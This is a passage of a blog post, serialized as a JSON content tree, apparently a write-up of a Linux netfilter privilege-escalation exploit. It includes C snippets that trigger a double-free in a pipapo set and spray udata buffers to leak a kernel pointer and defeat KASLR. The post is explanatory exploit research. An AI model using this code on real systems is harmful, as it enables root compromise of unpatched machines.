",{"type":22,"tag":30,"props":58209,"children":58211},{"className":58210},[],[58212],{"type":27,"value":58213},"nft_set_pipapo_match_destroy",{"type":27,"value":58215}," iterates over the ",{"type":22,"tag":30,"props":58217,"children":58219},{"className":58218},[],[58220],{"type":27,"value":58221},"setelems",{"type":27,"value":58223}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":22,"tag":6828,"props":58225,"children":58226},{},[58227,58232,58237,58242],{"type":22,"tag":6832,"props":58228,"children":58229},{},[58230],{"type":27,"value":58231},"Element A gets freed",{"type":22,"tag":6832,"props":58233,"children":58234},{},[58235],{"type":27,"value":58236},"Element B gets free",{"type":22,"tag":6832,"props":58238,"children":58239},{},[58240],{"type":27,"value":58241},"Element A gets freed again (double-free)",{"type":22,"tag":6832,"props":58243,"children":58244},{},[58245],{"type":27,"value":58246},"Element B gets freed again (double-free)",{"type":22,"tag":91,"props":58248,"children":58250},{"className":33109,"code":58249,"language":33111,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n // TRANSACTION 2\n[...]\n\n // create pipapo set\n uint8_t desc[2] = {16, 16};\n set = create_set(\n batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n // commit 2 elems to set (elems A and B that will be double-freed)\n for (int i = 0; i \u003C 2; i++)\n {\n elem[i] = nftnl_set_elem_alloc();\n memset(key, 0x41 + i, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n nftnl_set_elem_add(set, elem[i]);\n }\n[...]\n\n // TRANSACTION 3\n[...]\n set = nftnl_set_alloc();\n nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n // make priv->dirty true\n memset(key, 0xff, KEY_LEN);\n elem[3] = nftnl_set_elem_alloc();\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_add(set, elem[3]);\n[...]\n\n // double-free commited elems\n[...]\n nftnl_set_free(set);\n}\n[...]\n",[58251],{"type":22,"tag":30,"props":58252,"children":58253},{"__ignoreMap":7},[58254,58261,58322,58329,58336,58344,58351,58358,58366,58390,58411,58445,58506,58513,58521,58573,58580,58606,58633,58672,58701,58730,58752,58759,58766,58773,58781,58788,58796,58809,58822,58842,58849,58857,58879,58911,58956,58992,59020,59027,59034,59042,59049,59065,59072],{"type":22,"tag":101,"props":58255,"children":58256},{"class":103,"line":104},[58257],{"type":22,"tag":101,"props":58258,"children":58259},{"style":120},[58260],{"type":27,"value":14324},{"type":22,"tag":101,"props":58262,"children":58263},{"class":103,"line":157},[58264,58269,58273,58278,58282,58287,58291,58296,58301,58305,58309,58313,58318],{"type":22,"tag":101,"props":58265,"children":58266},{"style":120},[58267],{"type":27,"value":58268},"static void trigger_uaf(",{"type":22,"tag":101,"props":58270,"children":58271},{"style":108},[58272],{"type":27,"value":111},{"type":22,"tag":101,"props":58274,"children":58275},{"style":114},[58276],{"type":27,"value":58277}," mnl_socket",{"type":22,"tag":101,"props":58279,"children":58280},{"style":108},[58281],{"type":27,"value":13822},{"type":22,"tag":101,"props":58283,"children":58284},{"style":126},[58285],{"type":27,"value":58286},"nl",{"type":22,"tag":101,"props":58288,"children":58289},{"style":120},[58290],{"type":27,"value":758},{"type":22,"tag":101,"props":58292,"children":58293},{"style":108},[58294],{"type":27,"value":58295},"size_t",{"type":22,"tag":101,"props":58297,"children":58298},{"style":126},[58299],{"type":27,"value":58300}," size",{"type":22,"tag":101,"props":58302,"children":58303},{"style":120},[58304],{"type":27,"value":758},{"type":22,"tag":101,"props":58306,"children":58307},{"style":108},[58308],{"type":27,"value":23037},{"type":22,"tag":101,"props":58310,"children":58311},{"style":108},[58312],{"type":27,"value":13822},{"type":22,"tag":101,"props":58314,"children":58315},{"style":126},[58316],{"type":27,"value":58317},"msgqids",{"type":22,"tag":101,"props":58319,"children":58320},{"style":120},[58321],{"type":27,"value":2510},{"type":22,"tag":101,"props":58323,"children":58324},{"class":103,"line":182},[58325],{"type":22,"tag":101,"props":58326,"children":58327},{"style":120},[58328],{"type":27,"value":14886},{"type":22,"tag":101,"props":58330,"children":58331},{"class":103,"line":367},[58332],{"type":22,"tag":101,"props":58333,"children":58334},{"style":120},[58335],{"type":27,"value":14324},{"type":22,"tag":101,"props":58337,"children":58338},{"class":103,"line":398},[58339],{"type":22,"tag":101,"props":58340,"children":58341},{"style":120},[58342],{"type":27,"value":58343}," // TRANSACTION 2\n",{"type":22,"tag":101,"props":58345,"children":58346},{"class":103,"line":428},[58347],{"type":22,"tag":101,"props":58348,"children":58349},{"style":120},[58350],{"type":27,"value":14324},{"type":22,"tag":101,"props":58352,"children":58353},{"class":103,"line":997},[58354],{"type":22,"tag":101,"props":58355,"children":58356},{"emptyLinePlaceholder":15},[58357],{"type":27,"value":1581},{"type":22,"tag":101,"props":58359,"children":58360},{"class":103,"line":1032},[58361],{"type":22,"tag":101,"props":58362,"children":58363},{"style":120},[58364],{"type":27,"value":58365}," // create pipapo set\n",{"type":22,"tag":101,"props":58367,"children":58368},{"class":103,"line":1063},[58369,58374,58378,58382,58386],{"type":22,"tag":101,"props":58370,"children":58371},{"style":120},[58372],{"type":27,"value":58373}," uint8_t desc[2] = {",{"type":22,"tag":101,"props":58375,"children":58376},{"style":1544},[58377],{"type":27,"value":44842},{"type":22,"tag":101,"props":58379,"children":58380},{"style":120},[58381],{"type":27,"value":758},{"type":22,"tag":101,"props":58383,"children":58384},{"style":1544},[58385],{"type":27,"value":44842},{"type":22,"tag":101,"props":58387,"children":58388},{"style":120},[58389],{"type":27,"value":20576},{"type":22,"tag":101,"props":58391,"children":58392},{"class":103,"line":1071},[58393,58398,58402,58407],{"type":22,"tag":101,"props":58394,"children":58395},{"style":120},[58396],{"type":27,"value":58397}," set ",{"type":22,"tag":101,"props":58399,"children":58400},{"style":166},[58401],{"type":27,"value":1511},{"type":22,"tag":101,"props":58403,"children":58404},{"style":926},[58405],{"type":27,"value":58406}," create_set",{"type":22,"tag":101,"props":58408,"children":58409},{"style":120},[58410],{"type":27,"value":1850},{"type":22,"tag":101,"props":58412,"children":58413},{"class":103,"line":1110},[58414,58419,58423,58428,58433,58437,58441],{"type":22,"tag":101,"props":58415,"children":58416},{"style":120},[58417],{"type":27,"value":58418}," batch, seq",{"type":22,"tag":101,"props":58420,"children":58421},{"style":166},[58422],{"type":27,"value":55265},{"type":22,"tag":101,"props":58424,"children":58425},{"style":120},[58426],{"type":27,"value":58427},", exploit_table_name, ",{"type":22,"tag":101,"props":58429,"children":58430},{"style":6476},[58431],{"type":27,"value":58432},"\"pwn_set\"",{"type":22,"tag":101,"props":58434,"children":58435},{"style":120},[58436],{"type":27,"value":758},{"type":22,"tag":101,"props":58438,"children":58439},{"style":1544},[58440],{"type":27,"value":47498},{"type":22,"tag":101,"props":58442,"children":58443},{"style":120},[58444],{"type":27,"value":179},{"type":22,"tag":101,"props":58446,"children":58447},{"class":103,"line":1118},[58448,58453,58457,58462,58466,58471,58475,58479,58483,58488,58493,58497,58501],{"type":22,"tag":101,"props":58449,"children":58450},{"style":120},[58451],{"type":27,"value":58452}," NFT_SET_INTERVAL ",{"type":22,"tag":101,"props":58454,"children":58455},{"style":166},[58456],{"type":27,"value":6377},{"type":22,"tag":101,"props":58458,"children":58459},{"style":120},[58460],{"type":27,"value":58461}," NFT_SET_OBJECT ",{"type":22,"tag":101,"props":58463,"children":58464},{"style":166},[58465],{"type":27,"value":6377},{"type":22,"tag":101,"props":58467,"children":58468},{"style":120},[58469],{"type":27,"value":58470}," NFT_SET_CONCAT, KEY_LEN, ",{"type":22,"tag":101,"props":58472,"children":58473},{"style":1544},[58474],{"type":27,"value":7164},{"type":22,"tag":101,"props":58476,"children":58477},{"style":120},[58478],{"type":27,"value":758},{"type":22,"tag":101,"props":58480,"children":58481},{"style":166},[58482],{"type":27,"value":985},{"type":22,"tag":101,"props":58484,"children":58485},{"style":120},[58486],{"type":27,"value":58487},"desc, ",{"type":22,"tag":101,"props":58489,"children":58490},{"style":108},[58491],{"type":27,"value":58492},"NULL",{"type":22,"tag":101,"props":58494,"children":58495},{"style":120},[58496],{"type":27,"value":758},{"type":22,"tag":101,"props":58498,"children":58499},{"style":1544},[58500],{"type":27,"value":8065},{"type":22,"tag":101,"props":58502,"children":58503},{"style":120},[58504],{"type":27,"value":58505},", NFT_OBJECT_CT_EXPECT);\n",{"type":22,"tag":101,"props":58507,"children":58508},{"class":103,"line":1158},[58509],{"type":22,"tag":101,"props":58510,"children":58511},{"emptyLinePlaceholder":15},[58512],{"type":27,"value":1581},{"type":22,"tag":101,"props":58514,"children":58515},{"class":103,"line":1166},[58516],{"type":22,"tag":101,"props":58517,"children":58518},{"style":2215},[58519],{"type":27,"value":58520}," // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":22,"tag":101,"props":58522,"children":58523},{"class":103,"line":1215},[58524,58528,58532,58536,58541,58545,58549,58553,58557,58561,58565,58569],{"type":22,"tag":101,"props":58525,"children":58526},{"style":3595},[58527],{"type":27,"value":7078},{"type":22,"tag":101,"props":58529,"children":58530},{"style":120},[58531],{"type":27,"value":3603},{"type":22,"tag":101,"props":58533,"children":58534},{"style":108},[58535],{"type":27,"value":23037},{"type":22,"tag":101,"props":58537,"children":58538},{"style":120},[58539],{"type":27,"value":58540}," i ",{"type":22,"tag":101,"props":58542,"children":58543},{"style":166},[58544],{"type":27,"value":1511},{"type":22,"tag":101,"props":58546,"children":58547},{"style":1544},[58548],{"type":27,"value":1547},{"type":22,"tag":101,"props":58550,"children":58551},{"style":120},[58552],{"type":27,"value":55229},{"type":22,"tag":101,"props":58554,"children":58555},{"style":166},[58556],{"type":27,"value":123},{"type":22,"tag":101,"props":58558,"children":58559},{"style":1544},[58560],{"type":27,"value":11944},{"type":22,"tag":101,"props":58562,"children":58563},{"style":120},[58564],{"type":27,"value":55260},{"type":22,"tag":101,"props":58566,"children":58567},{"style":166},[58568],{"type":27,"value":55265},{"type":22,"tag":101,"props":58570,"children":58571},{"style":120},[58572],{"type":27,"value":2510},{"type":22,"tag":101,"props":58574,"children":58575},{"class":103,"line":2425},[58576],{"type":22,"tag":101,"props":58577,"children":58578},{"style":120},[58579],{"type":27,"value":33186},{"type":22,"tag":101,"props":58581,"children":58582},{"class":103,"line":5417},[58583,58588,58593,58597,58602],{"type":22,"tag":101,"props":58584,"children":58585},{"style":126},[58586],{"type":27,"value":58587}," elem",{"type":22,"tag":101,"props":58589,"children":58590},{"style":120},[58591],{"type":27,"value":58592},"[i] ",{"type":22,"tag":101,"props":58594,"children":58595},{"style":166},[58596],{"type":27,"value":1511},{"type":22,"tag":101,"props":58598,"children":58599},{"style":926},[58600],{"type":27,"value":58601}," nftnl_set_elem_alloc",{"type":22,"tag":101,"props":58603,"children":58604},{"style":120},[58605],{"type":27,"value":934},{"type":22,"tag":101,"props":58607,"children":58608},{"class":103,"line":7714},[58609,58614,58619,58624,58628],{"type":22,"tag":101,"props":58610,"children":58611},{"style":926},[58612],{"type":27,"value":58613}," memset",{"type":22,"tag":101,"props":58615,"children":58616},{"style":120},[58617],{"type":27,"value":58618},"(key, ",{"type":22,"tag":101,"props":58620,"children":58621},{"style":1544},[58622],{"type":27,"value":58623},"0x41",{"type":22,"tag":101,"props":58625,"children":58626},{"style":166},[58627],{"type":27,"value":3643},{"type":22,"tag":101,"props":58629,"children":58630},{"style":120},[58631],{"type":27,"value":58632}," i, KEY_LEN);\n",{"type":22,"tag":101,"props":58634,"children":58635},{"class":103,"line":7723},[58636,58641,58645,58649,58654,58659,58663,58668],{"type":22,"tag":101,"props":58637,"children":58638},{"style":926},[58639],{"type":27,"value":58640}," nftnl_set_elem_set",{"type":22,"tag":101,"props":58642,"children":58643},{"style":120},[58644],{"type":27,"value":980},{"type":22,"tag":101,"props":58646,"children":58647},{"style":126},[58648],{"type":27,"value":56060},{"type":22,"tag":101,"props":58650,"children":58651},{"style":120},[58652],{"type":27,"value":58653},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":22,"tag":101,"props":58655,"children":58656},{"style":6476},[58657],{"type":27,"value":58658},"\"pwnobj\"",{"type":22,"tag":101,"props":58660,"children":58661},{"style":120},[58662],{"type":27,"value":758},{"type":22,"tag":101,"props":58664,"children":58665},{"style":1544},[58666],{"type":27,"value":58667},"7",{"type":22,"tag":101,"props":58669,"children":58670},{"style":120},[58671],{"type":27,"value":994},{"type":22,"tag":101,"props":58673,"children":58674},{"class":103,"line":7791},[58675,58679,58683,58687,58692,58696],{"type":22,"tag":101,"props":58676,"children":58677},{"style":926},[58678],{"type":27,"value":58640},{"type":22,"tag":101,"props":58680,"children":58681},{"style":120},[58682],{"type":27,"value":980},{"type":22,"tag":101,"props":58684,"children":58685},{"style":126},[58686],{"type":27,"value":56060},{"type":22,"tag":101,"props":58688,"children":58689},{"style":120},[58690],{"type":27,"value":58691},"[i], NFTNL_SET_ELEM_KEY, ",{"type":22,"tag":101,"props":58693,"children":58694},{"style":166},[58695],{"type":27,"value":985},{"type":22,"tag":101,"props":58697,"children":58698},{"style":120},[58699],{"type":27,"value":58700},"key, KEY_LEN);\n",{"type":22,"tag":101,"props":58702,"children":58703},{"class":103,"line":7799},[58704,58708,58712,58716,58721,58725],{"type":22,"tag":101,"props":58705,"children":58706},{"style":926},[58707],{"type":27,"value":58640},{"type":22,"tag":101,"props":58709,"children":58710},{"style":120},[58711],{"type":27,"value":980},{"type":22,"tag":101,"props":58713,"children":58714},{"style":126},[58715],{"type":27,"value":56060},{"type":22,"tag":101,"props":58717,"children":58718},{"style":120},[58719],{"type":27,"value":58720},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":22,"tag":101,"props":58722,"children":58723},{"style":166},[58724],{"type":27,"value":985},{"type":22,"tag":101,"props":58726,"children":58727},{"style":120},[58728],{"type":27,"value":58729},"udata_buf, size);\n",{"type":22,"tag":101,"props":58731,"children":58732},{"class":103,"line":7829},[58733,58738,58743,58747],{"type":22,"tag":101,"props":58734,"children":58735},{"style":926},[58736],{"type":27,"value":58737}," nftnl_set_elem_add",{"type":22,"tag":101,"props":58739,"children":58740},{"style":120},[58741],{"type":27,"value":58742},"(set, ",{"type":22,"tag":101,"props":58744,"children":58745},{"style":126},[58746],{"type":27,"value":56060},{"type":22,"tag":101,"props":58748,"children":58749},{"style":120},[58750],{"type":27,"value":58751},"[i]);\n",{"type":22,"tag":101,"props":58753,"children":58754},{"class":103,"line":7837},[58755],{"type":22,"tag":101,"props":58756,"children":58757},{"style":120},[58758],{"type":27,"value":1734},{"type":22,"tag":101,"props":58760,"children":58761},{"class":103,"line":7868},[58762],{"type":22,"tag":101,"props":58763,"children":58764},{"style":120},[58765],{"type":27,"value":14324},{"type":22,"tag":101,"props":58767,"children":58768},{"class":103,"line":7876},[58769],{"type":22,"tag":101,"props":58770,"children":58771},{"emptyLinePlaceholder":15},[58772],{"type":27,"value":1581},{"type":22,"tag":101,"props":58774,"children":58775},{"class":103,"line":7936},[58776],{"type":22,"tag":101,"props":58777,"children":58778},{"style":120},[58779],{"type":27,"value":58780}," // TRANSACTION 3\n",{"type":22,"tag":101,"props":58782,"children":58783},{"class":103,"line":13054},[58784],{"type":22,"tag":101,"props":58785,"children":58786},{"style":120},[58787],{"type":27,"value":14324},{"type":22,"tag":101,"props":58789,"children":58790},{"class":103,"line":13072},[58791],{"type":22,"tag":101,"props":58792,"children":58793},{"style":120},[58794],{"type":27,"value":58795}," set = nftnl_set_alloc();\n",{"type":22,"tag":101,"props":58797,"children":58798},{"class":103,"line":13117},[58799,58804],{"type":22,"tag":101,"props":58800,"children":58801},{"style":926},[58802],{"type":27,"value":58803}," nftnl_set_set_u32",{"type":22,"tag":101,"props":58805,"children":58806},{"style":120},[58807],{"type":27,"value":58808},"(set, NFTNL_SET_FAMILY, family);\n",{"type":22,"tag":101,"props":58810,"children":58811},{"class":103,"line":13223},[58812,58817],{"type":22,"tag":101,"props":58813,"children":58814},{"style":926},[58815],{"type":27,"value":58816}," nftnl_set_set_str",{"type":22,"tag":101,"props":58818,"children":58819},{"style":120},[58820],{"type":27,"value":58821},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":22,"tag":101,"props":58823,"children":58824},{"class":103,"line":27496},[58825,58829,58834,58838],{"type":22,"tag":101,"props":58826,"children":58827},{"style":926},[58828],{"type":27,"value":58816},{"type":22,"tag":101,"props":58830,"children":58831},{"style":120},[58832],{"type":27,"value":58833},"(set, NFTNL_SET_NAME, ",{"type":22,"tag":101,"props":58835,"children":58836},{"style":6476},[58837],{"type":27,"value":58432},{"type":22,"tag":101,"props":58839,"children":58840},{"style":120},[58841],{"type":27,"value":994},{"type":22,"tag":101,"props":58843,"children":58844},{"class":103,"line":27531},[58845],{"type":22,"tag":101,"props":58846,"children":58847},{"emptyLinePlaceholder":15},[58848],{"type":27,"value":1581},{"type":22,"tag":101,"props":58850,"children":58851},{"class":103,"line":27539},[58852],{"type":22,"tag":101,"props":58853,"children":58854},{"style":2215},[58855],{"type":27,"value":58856}," // make priv->dirty true\n",{"type":22,"tag":101,"props":58858,"children":58859},{"class":103,"line":27547},[58860,58865,58869,58874],{"type":22,"tag":101,"props":58861,"children":58862},{"style":926},[58863],{"type":27,"value":58864}," memset",{"type":22,"tag":101,"props":58866,"children":58867},{"style":120},[58868],{"type":27,"value":58618},{"type":22,"tag":101,"props":58870,"children":58871},{"style":1544},[58872],{"type":27,"value":58873},"0xff",{"type":22,"tag":101,"props":58875,"children":58876},{"style":120},[58877],{"type":27,"value":58878},", KEY_LEN);\n",{"type":22,"tag":101,"props":58880,"children":58881},{"class":103,"line":27556},[58882,58887,58891,58895,58899,58903,58907],{"type":22,"tag":101,"props":58883,"children":58884},{"style":126},[58885],{"type":27,"value":58886}," elem",{"type":22,"tag":101,"props":58888,"children":58889},{"style":120},[58890],{"type":27,"value":2414},{"type":22,"tag":101,"props":58892,"children":58893},{"style":1544},[58894],{"type":27,"value":21293},{"type":22,"tag":101,"props":58896,"children":58897},{"style":120},[58898],{"type":27,"value":12668},{"type":22,"tag":101,"props":58900,"children":58901},{"style":166},[58902],{"type":27,"value":1511},{"type":22,"tag":101,"props":58904,"children":58905},{"style":926},[58906],{"type":27,"value":58601},{"type":22,"tag":101,"props":58908,"children":58909},{"style":120},[58910],{"type":27,"value":934},{"type":22,"tag":101,"props":58912,"children":58913},{"class":103,"line":27598},[58914,58919,58923,58927,58931,58935,58940,58944,58948,58952],{"type":22,"tag":101,"props":58915,"children":58916},{"style":926},[58917],{"type":27,"value":58918}," nftnl_set_elem_set",{"type":22,"tag":101,"props":58920,"children":58921},{"style":120},[58922],{"type":27,"value":980},{"type":22,"tag":101,"props":58924,"children":58925},{"style":126},[58926],{"type":27,"value":56060},{"type":22,"tag":101,"props":58928,"children":58929},{"style":120},[58930],{"type":27,"value":2414},{"type":22,"tag":101,"props":58932,"children":58933},{"style":1544},[58934],{"type":27,"value":21293},{"type":22,"tag":101,"props":58936,"children":58937},{"style":120},[58938],{"type":27,"value":58939},"], NFTNL_SET_ELEM_OBJREF, ",{"type":22,"tag":101,"props":58941,"children":58942},{"style":6476},[58943],{"type":27,"value":58658},{"type":22,"tag":101,"props":58945,"children":58946},{"style":120},[58947],{"type":27,"value":758},{"type":22,"tag":101,"props":58949,"children":58950},{"style":1544},[58951],{"type":27,"value":58667},{"type":22,"tag":101,"props":58953,"children":58954},{"style":120},[58955],{"type":27,"value":994},{"type":22,"tag":101,"props":58957,"children":58958},{"class":103,"line":27631},[58959,58963,58967,58971,58975,58979,58984,58988],{"type":22,"tag":101,"props":58960,"children":58961},{"style":926},[58962],{"type":27,"value":58918},{"type":22,"tag":101,"props":58964,"children":58965},{"style":120},[58966],{"type":27,"value":980},{"type":22,"tag":101,"props":58968,"children":58969},{"style":126},[58970],{"type":27,"value":56060},{"type":22,"tag":101,"props":58972,"children":58973},{"style":120},[58974],{"type":27,"value":2414},{"type":22,"tag":101,"props":58976,"children":58977},{"style":1544},[58978],{"type":27,"value":21293},{"type":22,"tag":101,"props":58980,"children":58981},{"style":120},[58982],{"type":27,"value":58983},"], NFTNL_SET_ELEM_KEY, ",{"type":22,"tag":101,"props":58985,"children":58986},{"style":166},[58987],{"type":27,"value":985},{"type":22,"tag":101,"props":58989,"children":58990},{"style":120},[58991],{"type":27,"value":58700},{"type":22,"tag":101,"props":58993,"children":58994},{"class":103,"line":27639},[58995,59000,59004,59008,59012,59016],{"type":22,"tag":101,"props":58996,"children":58997},{"style":926},[58998],{"type":27,"value":58999}," nftnl_set_elem_add",{"type":22,"tag":101,"props":59001,"children":59002},{"style":120},[59003],{"type":27,"value":58742},{"type":22,"tag":101,"props":59005,"children":59006},{"style":126},[59007],{"type":27,"value":56060},{"type":22,"tag":101,"props":59009,"children":59010},{"style":120},[59011],{"type":27,"value":2414},{"type":22,"tag":101,"props":59013,"children":59014},{"style":1544},[59015],{"type":27,"value":21293},{"type":22,"tag":101,"props":59017,"children":59018},{"style":120},[59019],{"type":27,"value":7788},{"type":22,"tag":101,"props":59021,"children":59022},{"class":103,"line":27647},[59023],{"type":22,"tag":101,"props":59024,"children":59025},{"style":120},[59026],{"type":27,"value":14324},{"type":22,"tag":101,"props":59028,"children":59029},{"class":103,"line":27656},[59030],{"type":22,"tag":101,"props":59031,"children":59032},{"emptyLinePlaceholder":15},[59033],{"type":27,"value":1581},{"type":22,"tag":101,"props":59035,"children":59036},{"class":103,"line":27732},[59037],{"type":22,"tag":101,"props":59038,"children":59039},{"style":120},[59040],{"type":27,"value":59041}," // double-free commited elems\n",{"type":22,"tag":101,"props":59043,"children":59044},{"class":103,"line":27765},[59045],{"type":22,"tag":101,"props":59046,"children":59047},{"style":120},[59048],{"type":27,"value":14324},{"type":22,"tag":101,"props":59050,"children":59051},{"class":103,"line":27773},[59052,59057,59061],{"type":22,"tag":101,"props":59053,"children":59054},{"style":120},[59055],{"type":27,"value":59056}," nftnl_set_free(",{"type":22,"tag":101,"props":59058,"children":59059},{"style":114},[59060],{"type":27,"value":55015},{"type":22,"tag":101,"props":59062,"children":59063},{"style":120},[59064],{"type":27,"value":994},{"type":22,"tag":101,"props":59066,"children":59067},{"class":103,"line":27781},[59068],{"type":22,"tag":101,"props":59069,"children":59070},{"style":120},[59071],{"type":27,"value":188},{"type":22,"tag":101,"props":59073,"children":59074},{"class":103,"line":27818},[59075],{"type":22,"tag":101,"props":59076,"children":59077},{"style":120},[59078],{"type":27,"value":14324},{"type":22,"tag":1760,"props":59080,"children":59082},{"id":59081},"leaking-kaslr",[59083],{"type":27,"value":59084},"Leaking KASLR",{"type":22,"tag":23,"props":59086,"children":59087},{},[59088,59090,59096,59098,59103,59105,59111,59113,59119,59121],{"type":27,"value":59089},"Tables contain an outline user data buffer ",{"type":22,"tag":30,"props":59091,"children":59093},{"className":59092},[],[59094],{"type":27,"value":59095},"udata",{"type":27,"value":59097}," that we can both read and write. By allocating a ",{"type":22,"tag":30,"props":59099,"children":59101},{"className":59100},[],[59102],{"type":27,"value":59095},{"type":27,"value":59104}," buffer on the double-free slot and then overlapping it with an ",{"type":22,"tag":30,"props":59106,"children":59108},{"className":59107},[],[59109],{"type":27,"value":59110},"nft_object",{"type":27,"value":59112}," we can leak the ",{"type":22,"tag":30,"props":59114,"children":59116},{"className":59115},[],[59117],{"type":27,"value":59118},"->ops",{"type":27,"value":59120}," pointer, and use it to calculate the KASLR slide.\n",{"type":22,"tag":7959,"props":59122,"children":59124},{"alt":54574,"src":59123},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":22,"tag":91,"props":59126,"children":59128},{"className":33109,"code":59127,"language":33111,"meta":7,"style":7},"[...]\n // spray 3 udata buffers to consume elems A, B and A again\n udata_spray(nl, 0xe8, 0, 3, NULL);\n\n // check if overlap happened (i.e if we have to overlapping udata buffers)\n char spray_name[16];\n char *udata[3];\n for (int i = 0; i \u003C 3; i++)\n {\n snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n udata[i] = getudata(nl, spray_name);\n }\n if (udata[0][0] == udata[2][0])\n {\n puts(\"[+] got duplicated table\");\n }\n\n // Replace one of the udata buffers with nft_object\n // and read it's counterpart to leak the nft_object struct\n puts(\"[*] Info leak\");\n deludata_spray(nl, 0, 1);\n wait_destroyer();\n obj_spray(nl, 0, 1, NULL, 0);\n uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[59129],{"type":22,"tag":30,"props":59130,"children":59131},{"__ignoreMap":7},[59132,59139,59147,59182,59189,59197,59222,59249,59300,59307,59340,59366,59373,59438,59445,59466,59473,59480,59488,59496,59517,59546,59558,59602,59658],{"type":22,"tag":101,"props":59133,"children":59134},{"class":103,"line":104},[59135],{"type":22,"tag":101,"props":59136,"children":59137},{"style":120},[59138],{"type":27,"value":14324},{"type":22,"tag":101,"props":59140,"children":59141},{"class":103,"line":157},[59142],{"type":22,"tag":101,"props":59143,"children":59144},{"style":120},[59145],{"type":27,"value":59146}," // spray 3 udata buffers to consume elems A, B and A again\n",{"type":22,"tag":101,"props":59148,"children":59149},{"class":103,"line":182},[59150,59155,59159,59164,59169,59174,59178],{"type":22,"tag":101,"props":59151,"children":59152},{"style":120},[59153],{"type":27,"value":59154}," udata_spray(",{"type":22,"tag":101,"props":59156,"children":59157},{"style":114},[59158],{"type":27,"value":58286},{"type":22,"tag":101,"props":59160,"children":59161},{"style":120},[59162],{"type":27,"value":59163},", 0",{"type":22,"tag":101,"props":59165,"children":59166},{"style":114},[59167],{"type":27,"value":59168},"xe8",{"type":22,"tag":101,"props":59170,"children":59171},{"style":120},[59172],{"type":27,"value":59173},", 0, 3, ",{"type":22,"tag":101,"props":59175,"children":59176},{"style":114},[59177],{"type":27,"value":58492},{"type":22,"tag":101,"props":59179,"children":59180},{"style":120},[59181],{"type":27,"value":994},{"type":22,"tag":101,"props":59183,"children":59184},{"class":103,"line":367},[59185],{"type":22,"tag":101,"props":59186,"children":59187},{"emptyLinePlaceholder":15},[59188],{"type":27,"value":1581},{"type":22,"tag":101,"props":59190,"children":59191},{"class":103,"line":398},[59192],{"type":22,"tag":101,"props":59193,"children":59194},{"style":2215},[59195],{"type":27,"value":59196}," // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":22,"tag":101,"props":59198,"children":59199},{"class":103,"line":428},[59200,59205,59210,59214,59218],{"type":22,"tag":101,"props":59201,"children":59202},{"style":108},[59203],{"type":27,"value":59204}," char",{"type":22,"tag":101,"props":59206,"children":59207},{"style":126},[59208],{"type":27,"value":59209}," spray_name",{"type":22,"tag":101,"props":59211,"children":59212},{"style":120},[59213],{"type":27,"value":2414},{"type":22,"tag":101,"props":59215,"children":59216},{"style":1544},[59217],{"type":27,"value":44842},{"type":22,"tag":101,"props":59219,"children":59220},{"style":120},[59221],{"type":27,"value":35570},{"type":22,"tag":101,"props":59223,"children":59224},{"class":103,"line":997},[59225,59229,59233,59237,59241,59245],{"type":22,"tag":101,"props":59226,"children":59227},{"style":108},[59228],{"type":27,"value":59204},{"type":22,"tag":101,"props":59230,"children":59231},{"style":166},[59232],{"type":27,"value":13822},{"type":22,"tag":101,"props":59234,"children":59235},{"style":126},[59236],{"type":27,"value":59095},{"type":22,"tag":101,"props":59238,"children":59239},{"style":120},[59240],{"type":27,"value":2414},{"type":22,"tag":101,"props":59242,"children":59243},{"style":1544},[59244],{"type":27,"value":21293},{"type":22,"tag":101,"props":59246,"children":59247},{"style":120},[59248],{"type":27,"value":35570},{"type":22,"tag":101,"props":59250,"children":59251},{"class":103,"line":1032},[59252,59256,59260,59264,59268,59272,59276,59280,59284,59288,59292,59296],{"type":22,"tag":101,"props":59253,"children":59254},{"style":3595},[59255],{"type":27,"value":7078},{"type":22,"tag":101,"props":59257,"children":59258},{"style":120},[59259],{"type":27,"value":3603},{"type":22,"tag":101,"props":59261,"children":59262},{"style":108},[59263],{"type":27,"value":23037},{"type":22,"tag":101,"props":59265,"children":59266},{"style":120},[59267],{"type":27,"value":58540},{"type":22,"tag":101,"props":59269,"children":59270},{"style":166},[59271],{"type":27,"value":1511},{"type":22,"tag":101,"props":59273,"children":59274},{"style":1544},[59275],{"type":27,"value":1547},{"type":22,"tag":101,"props":59277,"children":59278},{"style":120},[59279],{"type":27,"value":55229},{"type":22,"tag":101,"props":59281,"children":59282},{"style":166},[59283],{"type":27,"value":123},{"type":22,"tag":101,"props":59285,"children":59286},{"style":1544},[59287],{"type":27,"value":23089},{"type":22,"tag":101,"props":59289,"children":59290},{"style":120},[59291],{"type":27,"value":55260},{"type":22,"tag":101,"props":59293,"children":59294},{"style":166},[59295],{"type":27,"value":55265},{"type":22,"tag":101,"props":59297,"children":59298},{"style":120},[59299],{"type":27,"value":2510},{"type":22,"tag":101,"props":59301,"children":59302},{"class":103,"line":1063},[59303],{"type":22,"tag":101,"props":59304,"children":59305},{"style":120},[59306],{"type":27,"value":33186},{"type":22,"tag":101,"props":59308,"children":59309},{"class":103,"line":1071},[59310,59315,59320,59325,59330,59335],{"